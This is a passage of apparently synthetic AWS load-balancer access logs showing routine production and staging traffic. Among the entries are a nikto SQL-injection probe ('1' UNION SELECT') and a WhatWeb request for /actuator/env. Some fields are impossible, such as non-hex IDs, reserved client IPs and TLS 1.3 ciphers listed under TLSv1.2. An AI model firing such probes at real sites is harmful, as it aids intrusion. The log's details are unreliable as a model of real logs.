Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c671-f2beb896e898429086bcca42" "staging-alb.example.com" "-" 2 2024-11-01T01:03:29.583132Z "forward" "-" "-" "124.0.228.174:8080" "200" "-" "-" +https 2024-11-01T01:03:30.497436Z prod-web-alb 18.16.43.162:64608 10.0.10.124:443 0.053856 0.382677 0.046781 302 302 598 7979 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c672-58f91544e47d4a4ebd0a9ef2" "prod-web-alb.example.com" "-" 6 2024-11-01T01:03:30.497436Z "forward" "-" "-" "10.0.10.124:443" "302" "-" "-" +https 2024-11-01T01:03:32.006708Z prod-api-alb 32.37.72.184:14948 10.0.8.116:443 0.048253 0.062388 0.086586 200 200 572 14237 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c674-60857428e5da4565a90b6e1a" "prod-api-alb.example.com" "-" 1 2024-11-01T01:03:32.006708Z "forward" "-" "-" "10.0.8.116:443" "200" "-" "-" +https 2024-11-01T01:03:33.239801Z prod-web-alb 122.158.37.56:59742 10.0.185.56:443 0.093539 0.154128 0.037420 404 404 401 1942 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c675-4b7d08562ca9403cb367a7bb" "prod-web-alb.example.com" "-" 1 2024-11-01T01:03:33.239801Z "forward" "-" "-" "10.0.185.56:443" "404" "-" "-" +https 2024-11-01T01:03:33.430909Z prod-web-alb 40.105.173.1:53556 10.0.2.117:443 0.019231 0.130665 0.013303 301 301 437 1897 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c675-bbf4b43945ea4639affec325" "prod-web-alb.example.com" "-" 7 2024-11-01T01:03:33.430909Z "forward" "-" "-" "10.0.2.117:443" "301" "-" "-" +https 2024-11-01T01:03:34.219544Z prod-api-alb 45.155.205.9:49018 10.0.238.41:443 0.093475 0.196574 0.000568 404 404 476 10393 "POST /actuator/env HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c676-06c0e52b005d41d8b4ff2d71" "-" "-" 6 2024-11-01T01:03:34.219544Z "forward" "-" "-" "10.0.238.41:443" "404" "-" "-" +https 2024-11-01T01:03:34.907788Z prod-web-alb 138.7.202.198:31883 10.0.238.52:443 0.045663 0.005853 0.076421 200 200 748 10245 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c676-2834f6f4955c4094a1e0f58c" "prod-web-alb.example.com" "-" 3 2024-11-01T01:03:34.907788Z "forward" "-" "-" "10.0.238.52:443" "200" "-" "-" +https 2024-11-01T01:03:35.535238Z prod-api-alb 155.51.79.241:45773 10.0.7.181:443 0.012502 0.454163 0.075122 302 302 893 12070 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c677-3f505ee727aa4eec8c12da3c" "prod-api-alb.example.com" "-" 8 2024-11-01T01:03:35.535238Z "forward" "-" "-" "10.0.7.181:443" "302" "-" "-" +https 2024-11-01T01:03:37.069485Z prod-web-alb 118.90.56.25:63317 10.0.38.13:443 0.092689 0.184157 0.064435 404 404 827 3544 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c679-c1a2f44808b7490c91453bd4" "prod-web-alb.example.com" "-" 1 2024-11-01T01:03:37.069485Z "forward" "-" "-" "10.0.38.13:443" "404" "-" "-" +http 2024-11-01T01:03:37.873374Z staging-alb 69.126.224.223:29053 240.43.217.145:8080 0.088516 0.074685 0.122626 302 302 865 13445 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c679-737c1066dc11452382954c51" "staging-alb.example.com" "-" 5 2024-11-01T01:03:37.873374Z "forward" "-" "-" "240.43.217.145:8080" "302" "-" "-" +https 2024-11-01T01:03:39.690990Z prod-api-alb 60.125.122.215:43484 10.0.171.170:443 0.028592 0.157700 0.081267 200 200 127 14548 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c67b-d6693f94907140e798c64ac5" "prod-api-alb.example.com" "-" 8 2024-11-01T01:03:39.690990Z "forward" "-" "-" "10.0.171.170:443" "200" "-" "-" +https 2024-11-01T01:03:40.062642Z prod-web-alb 207.202.156.105:61412 10.0.181.113:443 0.019132 0.087716 0.020643 301 301 65 9098 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c67c-167312e0f1f84decbf8b15ea" "prod-web-alb.example.com" "-" 8 2024-11-01T01:03:40.062642Z "forward" "-" "-" "10.0.181.113:443" "301" "-" "-" +https 2024-11-01T01:03:42.036144Z prod-api-alb 79.227.165.129:45384 10.0.220.87:443 0.018088 0.257627 0.098228 200 200 627 14762 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c67e-5647d6862cb141cbb9889dd8" "prod-api-alb.example.com" "-" 2 2024-11-01T01:03:42.036144Z "forward" "-" "-" "10.0.220.87:443" "200" "-" "-" +http 2024-11-01T01:03:42.381065Z staging-alb 25.68.81.30:22252 170.244.3.112:8080 0.090527 0.426840 0.032329 200 200 755 2672 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c67e-625337388b1642ac99554122" "staging-alb.example.com" "-" 6 2024-11-01T01:03:42.381065Z "forward" "-" "-" "170.244.3.112:8080" "200" "-" "-" +http 2024-11-01T01:03:43.303544Z staging-alb 193.27.228.11:41043 183.154.123.48:443 0.092587 0.471698 0.100133 403 403 260 336 "POST /search?q=1' UNION SELECT HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c67f-64525337253a47108ba84cc6" "-" "-" 5 2024-11-01T01:03:43.303544Z "forward" "-" "-" "183.154.123.48:443" "403" "-" "-" +https 2024-11-01T01:03:43.634432Z prod-web-alb 230.226.58.142:53500 10.0.202.65:443 0.073309 0.071545 0.053834 301 301 649 4205 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c67f-191076eabf5a4cf6a7f68848" "prod-web-alb.example.com" "-" 10 2024-11-01T01:03:43.634432Z "forward" "-" "-" "10.0.202.65:443" "301" "-" "-" +https 2024-11-01T01:03:44.318754Z staging-alb 93.21.213.149:16378 206.60.210.93:8080 0.038205 0.582911 0.042525 301 301 744 10024 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c680-2030f2a9cad64cde8c6695c4" "staging-alb.example.com" "-" 2 2024-11-01T01:03:44.318754Z "forward" "-" "-" "206.60.210.93:8080" "301" "-" "-" +http 2024-11-01T01:03:44.522672Z staging-alb 156.227.103.31:53766 60.254.218.34:80 0.045345 0.706096 0.078570 200 200 640 13892 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c680-1f07ca06cee64acb854039bc" "staging-alb.example.com" "-" 9 2024-11-01T01:03:44.522672Z "forward" "-" "-" "60.254.218.34:80" "200" "-" "-" +http 2024-11-01T01:03:44.854773Z staging-alb 137.120.204.109:58821 58.16.119.106:443 0.064684 0.393939 0.065088 200 200 280 6414 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c680-8c38c5d7ecd94fbaa5623ffa" "staging-alb.example.com" "-" 3 2024-11-01T01:03:44.854773Z "forward" "-" "-" "58.16.119.106:443" "200" "-" "-" +https 2024-11-01T01:03:46.603773Z prod-api-alb 23.32.17.185:14018 10.0.24.42:443 0.073132 0.246680 0.019531 404 404 882 12084 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c682-5f0709aed5c240379fa977a4" "prod-api-alb.example.com" "-" 10 2024-11-01T01:03:46.603773Z "forward" "-" "-" "10.0.24.42:443" "404" "-" "-" +https 2024-11-01T01:03:47.664942Z staging-alb 70.113.92.105:37780 118.219.34.184:80 0.052706 0.702007 0.051921 200 200 51 8436 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c683-e5e61efcf557426998c964b3" "staging-alb.example.com" "-" 7 2024-11-01T01:03:47.664942Z "forward" "-" "-" "118.219.34.184:80" "200" "-" "-" +https 2024-11-01T01:03:48.249992Z prod-api-alb 74.239.200.179:55762 10.0.26.97:443 0.032426 0.174541 0.090471 200 200 733 4181 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c684-0de5a6efe8714191b65ae1a6" "prod-api-alb.example.com" "-" 3 2024-11-01T01:03:48.249992Z "forward" "-" "-" "10.0.26.97:443" "200" "-" "-" +https 2024-11-01T01:03:49.089060Z prod-api-alb 44.195.248.79:64564 10.0.106.82:443 0.057531 0.081285 0.022225 200 200 25 365 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c685-b85b8ecb5fad4700952ace5f" "prod-api-alb.example.com" "-" 8 2024-11-01T01:03:49.089060Z "forward" "-" "-" "10.0.106.82:443" "200" "-" "-" +http 2024-11-01T01:03:49.273596Z staging-alb 97.223.245.190:22945 13.61.40.173:8080 0.148423 0.458287 0.117581 301 301 79 4589 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c685-6ed2d70fde7147159b97f848" "staging-alb.example.com" "-" 9 2024-11-01T01:03:49.273596Z "forward" "-" "-" "13.61.40.173:8080" "301" "-" "-" +https 2024-11-01T01:03:50.884917Z staging-alb 75.151.181.12:18471 131.64.199.212:8080 0.135485 0.170484 0.049611 200 200 233 294 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c686-41f86147d76a4868a9e91809" "-" "-" 8 2024-11-01T01:03:50.884917Z "forward" "-" "-" "131.64.199.212:8080" "200" "-" "-" +https 2024-11-01T01:03:52.463155Z staging-alb 61.105.58.201:10009 20.48.178.202:80 0.128751 0.684334 0.027931 302 302 919 5690 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c688-69b0b27b6b29465491ee2b59" "staging-alb.example.com" "-" 2 2024-11-01T01:03:52.463155Z "forward" "-" "-" "20.48.178.202:80" "302" "-" "-" +https 2024-11-01T01:03:52.953012Z prod-api-alb 179.181.89.91:30487 10.0.67.120:443 0.098924 0.058169 0.084650 200 200 491 13351 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c688-5afb4202402f4f5fbd668eec" "prod-api-alb.example.com" "-" 9 2024-11-01T01:03:52.953012Z "forward" "-" "-" "10.0.67.120:443" "200" "-" "-" +https 2024-11-01T01:03:54.016313Z staging-alb 8.161.60.80:50511 28.182.73.192:80 0.014277 0.368084 0.086571 200 200 682 4648 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c68a-fb62b3051c9342f7a0161f8e" "-" "-" 1 2024-11-01T01:03:54.016313Z "forward" "-" "-" "28.182.73.192:80" "200" "-" "-" +https 2024-11-01T01:03:55.152401Z prod-api-alb 108.120.0.14:38733 10.0.154.225:443 0.063038 0.287169 0.076735 302 302 169 12268 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c68b-6f6874e4b6ef4de7b6bb9875" "prod-api-alb.example.com" "-" 3 2024-11-01T01:03:55.152401Z "forward" "-" "-" "10.0.154.225:443" "302" "-" "-" +https 2024-11-01T01:03:55.308714Z prod-web-alb 138.144.197.73:41098 10.0.1.62:443 0.026299 0.475808 0.055961 200 200 567 11881 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c68b-71c0f724e23744a298944812" "prod-web-alb.example.com" "-" 3 2024-11-01T01:03:55.308714Z "forward" "-" "-" "10.0.1.62:443" "200" "-" "-" +http 2024-11-01T01:03:56.006636Z staging-alb 199.238.224.214:34321 63.103.7.46:80 0.119727 0.009618 0.004210 302 302 838 14448 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c68c-da5df0c2c5e8428d9e1a28e0" "staging-alb.example.com" "-" 6 2024-11-01T01:03:56.006636Z "forward" "-" "-" "63.103.7.46:80" "302" "-" "-" +https 2024-11-01T01:03:56.475415Z prod-api-alb 154.88.126.139:54853 10.0.36.175:443 0.013670 0.448515 0.048549 404 404 642 14305 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c68c-f047cdb8b7a44921b4f77521" "prod-api-alb.example.com" "-" 1 2024-11-01T01:03:56.475415Z "forward" "-" "-" "10.0.36.175:443" "404" "-" "-" +http 2024-11-01T01:03:57.591479Z staging-alb 170.20.52.210:42063 126.76.188.233:443 0.077405 0.038515 0.099745 200 200 704 9008 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c68d-2f0c7dca29cc453aac2d3eab" "-" "-" 8 2024-11-01T01:03:57.591479Z "forward" "-" "-" "126.76.188.233:443" "200" "-" "-" +http 2024-11-01T01:03:58.506548Z staging-alb 234.40.222.113:49790 70.48.196.173:443 0.013953 0.610334 0.138050 200 200 590 8239 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c68e-e19672793ada4f7e8751d375" "staging-alb.example.com" "-" 3 2024-11-01T01:03:58.506548Z "forward" "-" "-" "70.48.196.173:443" "200" "-" "-" +https 2024-11-01T01:04:00.197094Z prod-web-alb 227.63.74.171:49312 10.0.182.170:443 0.092959 0.143235 0.046425 200 200 706 10216 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c690-1ba729e39a09458b91a0d768" "prod-web-alb.example.com" "-" 7 2024-11-01T01:04:00.197094Z "forward" "-" "-" "10.0.182.170:443" "200" "-" "-" +https 2024-11-01T01:04:01.109410Z prod-api-alb 248.37.75.122:57847 10.0.92.73:443 0.002618 0.056758 0.004171 404 404 51 5717 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c691-b8e94f21b6d84eae8904d2ab" "prod-api-alb.example.com" "-" 3 2024-11-01T01:04:01.109410Z "forward" "-" "-" "10.0.92.73:443" "404" "-" "-" +https 2024-11-01T01:04:02.075680Z prod-web-alb 167.109.3.76:55284 10.0.146.67:443 0.012495 0.100009 0.050843 200 200 146 5684 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c692-fbb6d1cf28804868a0657905" "prod-web-alb.example.com" "-" 1 2024-11-01T01:04:02.075680Z "forward" "-" "-" "10.0.146.67:443" "200" "-" "-" +https 2024-11-01T01:04:03.753115Z prod-web-alb 211.184.20.40:10740 10.0.111.104:443 0.000213 0.259195 0.087197 301 301 797 2157 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c693-2d8696eaf16f4484b71d83cc" "prod-web-alb.example.com" "-" 8 2024-11-01T01:04:03.753115Z "forward" "-" "-" "10.0.111.104:443" "301" "-" "-" +https 2024-11-01T01:04:05.400409Z prod-web-alb 45.199.50.36:48153 10.0.64.32:443 0.048635 0.005639 0.086454 200 200 115 10483 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c695-f005bcedd7694c88b5f95410" "prod-web-alb.example.com" "-" 0 2024-11-01T01:04:05.400409Z "forward" "-" "-" "10.0.64.32:443" "200" "-" "-" +https 2024-11-01T01:04:06.072812Z prod-web-alb 29.73.105.112:46013 10.0.98.57:443 0.031319 0.013878 0.004299 302 302 78 13190 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c696-a557d9f5681743129821ef6d" "prod-web-alb.example.com" "-" 0 2024-11-01T01:04:06.072812Z "forward" "-" "-" "10.0.98.57:443" "302" "-" "-" +https 2024-11-01T01:04:07.335829Z prod-api-alb 10.197.173.181:19574 10.0.159.119:443 0.007546 0.027770 0.098609 200 200 623 9666 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c697-fef6e88bc4eb45f6b5b4ed5c" "prod-api-alb.example.com" "-" 4 2024-11-01T01:04:07.335829Z "forward" "-" "-" "10.0.159.119:443" "200" "-" "-" +http 2024-11-01T01:04:07.866837Z staging-alb 244.209.180.41:23541 118.247.153.167:8080 0.091674 0.370614 0.039333 200 200 374 3967 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c697-a70206a0e75c4ea396782d4a" "-" "-" 10 2024-11-01T01:04:07.866837Z "forward" "-" "-" "118.247.153.167:8080" "200" "-" "-" +https 2024-11-01T01:04:08.498872Z prod-web-alb 165.235.131.96:12040 10.0.153.86:443 0.024949 0.362448 0.048891 200 200 0 7104 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c698-c2d920b0788b44b898208939" "prod-web-alb.example.com" "-" 4 2024-11-01T01:04:08.498872Z "forward" "-" "-" "10.0.153.86:443" "200" "-" "-" +https 2024-11-01T01:04:09.860469Z prod-web-alb 73.155.152.79:57999 10.0.72.199:443 0.046847 0.229751 0.077259 302 302 393 9883 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c699-60131c2452ef456c8ecdb47d" "prod-web-alb.example.com" "-" 9 2024-11-01T01:04:09.860469Z "forward" "-" "-" "10.0.72.199:443" "302" "-" "-" +http 2024-11-01T01:04:10.169249Z staging-alb 146.237.223.177:49322 208.201.221.40:80 0.087377 0.613939 0.091115 302 302 332 14926 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c69a-1be34222fc9a4e369e3ba52f" "staging-alb.example.com" "-" 7 2024-11-01T01:04:10.169249Z "forward" "-" "-" "208.201.221.40:80" "302" "-" "-" +https 2024-11-01T01:04:11.805936Z prod-api-alb 178.20.97.100:43014 10.0.167.117:443 0.040733 0.428674 0.005946 302 302 648 4546 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c69b-b7d9f8a052274b83a098688e" "prod-api-alb.example.com" "-" 8 2024-11-01T01:04:11.805936Z "forward" "-" "-" "10.0.167.117:443" "302" "-" "-" +https 2024-11-01T01:04:13.403216Z prod-api-alb 239.92.203.221:62749 10.0.205.170:443 0.040638 0.175255 0.030077 200 200 349 13239 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c69d-b15952a2f35a4678b7a0b9f7" "prod-api-alb.example.com" "-" 2 2024-11-01T01:04:13.403216Z "forward" "-" "-" "10.0.205.170:443" "200" "-" "-" +http 2024-11-01T01:04:14.633351Z staging-alb 231.90.173.55:26073 134.37.96.227:443 0.048772 0.105839 0.065766 200 200 423 14579 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c69e-e721c30fa0d34b94a55e96af" "staging-alb.example.com" "-" 9 2024-11-01T01:04:14.633351Z "forward" "-" "-" "134.37.96.227:443" "200" "-" "-" +https 2024-11-01T01:04:15.866710Z prod-web-alb 173.81.170.30:38923 10.0.147.194:443 0.052480 0.013469 0.071011 301 301 988 6988 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c69f-920f8d53d0694902a38930c0" "prod-web-alb.example.com" "-" 3 2024-11-01T01:04:15.866710Z "forward" "-" "-" "10.0.147.194:443" "301" "-" "-" 